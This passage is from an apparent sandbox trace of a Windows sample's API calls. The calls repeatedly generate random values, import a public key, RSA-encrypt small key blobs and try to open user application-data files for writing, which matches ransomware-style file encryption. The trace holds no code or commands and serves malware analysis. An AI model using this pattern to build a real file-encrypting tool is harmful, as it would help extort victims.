hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0306.987] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.987] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0306.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.992] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0306.992] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.993] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afaf0) returned 1 [0306.995] CryptGetKeyParam (in: hKey=0x67afaf0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.995] CryptEncrypt (in: hKey=0x67afaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe000000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe000000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0306.995] GetLastError () returned 0x0 [0306.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.995] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0306.997] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67afc70) returned 1 [0306.997] CryptGetKeyParam (in: hKey=0x67afc70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0306.997] CryptEncrypt (in: hKey=0x67afc70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe010000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xe010000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0306.997] GetLastError () returned 0x0 [0306.997] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.997] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.000] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0307.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0307.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.006] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0307.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.011] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0307.011] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.011] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.014] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afdb0) returned 1 [0307.014] CryptGetKeyParam (in: hKey=0x67afdb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.014] CryptEncrypt (in: hKey=0x67afdb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe020000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xe020000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0307.014] GetLastError () returned 0x0 [0307.014] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.014] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.016] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afdf0) returned 1 [0307.016] CryptGetKeyParam (in: hKey=0x67afdf0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.016] CryptEncrypt (in: hKey=0x67afdf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe030000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xe030000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0307.016] GetLastError () returned 0x0 [0307.016] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.016] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.018] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4980) returned 1 [0307.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.024] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0307.024] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.024] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0307.027] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.029] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0307.029] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.030] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.032] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afb70) returned 1 [0307.032] CryptGetKeyParam (in: hKey=0x67afb70, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.032] CryptEncrypt (in: hKey=0x67afb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe040000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xe040000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0307.032] GetLastError () returned 0x0 [0307.032] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.032] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.034] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afe30) returned 1 [0307.034] CryptGetKeyParam (in: hKey=0x67afe30, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.034] CryptEncrypt (in: hKey=0x67afe30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe050000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xe050000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0307.034] GetLastError () returned 0x0 [0307.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.034] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.035] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0307.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.041] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.041] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0307.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.041] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0307.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.046] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0307.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.046] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.049] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afeb0) returned 1 [0307.049] CryptGetKeyParam (in: hKey=0x67afeb0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.049] CryptEncrypt (in: hKey=0x67afeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe060000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xe060000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0307.049] GetLastError () returned 0x0 [0307.049] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.049] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0307.051] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67afe70) returned 1 [0307.051] CryptGetKeyParam (in: hKey=0x67afe70, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0307.051] CryptEncrypt (in: hKey=0x67afe70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe070000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xe070000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0307.051] GetLastError () returned 0x0 [0307.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.295] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x5c4760) returned 1 [0307.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.301] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0307.301] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.301] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x5c4980) returned 1 [0307.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.306] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0307.306] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.306] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x5c4980) returned 1 [0307.309] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x67af730) returned 1 [0307.309] CryptGetKeyParam (in: hKey=0x67af730, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0307.309] CryptEncrypt (in: hKey=0x67af730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe080000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0xe080000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0307.309] GetLastError () returned 0x0 [0307.309] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.309] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x5c4e48) returned 1 [0307.311] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x67af1b0) returned 1 [0307.311] CryptGetKeyParam (in: hKey=0x67af1b0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0307.311] CryptEncrypt (in: hKey=0x67af1b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe090000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0xe090000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0307.311] GetLastError () returned 0x0 [0307.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.311] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.325] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4980) returned 1 [0307.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.331] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0307.331] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.331] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4e48) returned 1 [0307.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.336] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0307.336] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.337] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4e48) returned 1 [0307.339] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67affb0) returned 1 [0307.339] CryptGetKeyParam (in: hKey=0x67affb0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0307.339] CryptEncrypt (in: hKey=0x67affb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0a0000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0a0000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0307.339] GetLastError () returned 0x0 [0307.339] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.339] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4e48) returned 1 [0307.341] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67aff30) returned 1 [0307.341] CryptGetKeyParam (in: hKey=0x67aff30, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0307.341] CryptEncrypt (in: hKey=0x67aff30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0b0000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0b0000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0307.341] GetLastError () returned 0x0 [0307.341] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.341] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.343] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4e48) returned 1 [0307.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.349] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0307.349] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.349] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4980) returned 1 [0307.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.353] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0307.353] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0307.354] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4760) returned 1 [0307.356] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67b0030) returned 1 [0307.356] CryptGetKeyParam (in: hKey=0x67b0030, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0307.356] CryptEncrypt (in: hKey=0x67b0030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0c0000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0c0000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0307.356] GetLastError () returned 0x0 [0307.356] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.356] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4e48) returned 1 [0307.358] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67af930) returned 1 [0307.358] CryptGetKeyParam (in: hKey=0x67af930, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0307.358] CryptEncrypt (in: hKey=0x67af930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0d0000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0xe0d0000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0307.358] GetLastError () returned 0x0 [0307.358] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0307.453] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0307.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.460] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0307.460] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0307.460] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0307.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0307.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0307.466] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0307.466] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.467] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0307.469] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af970) returned 1 [0307.469] CryptGetKeyParam (in: hKey=0x67af970, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0307.469] CryptEncrypt (in: hKey=0x67af970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0307.469] GetLastError () returned 0x0 [0307.469] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0307.469] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0307.471] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, 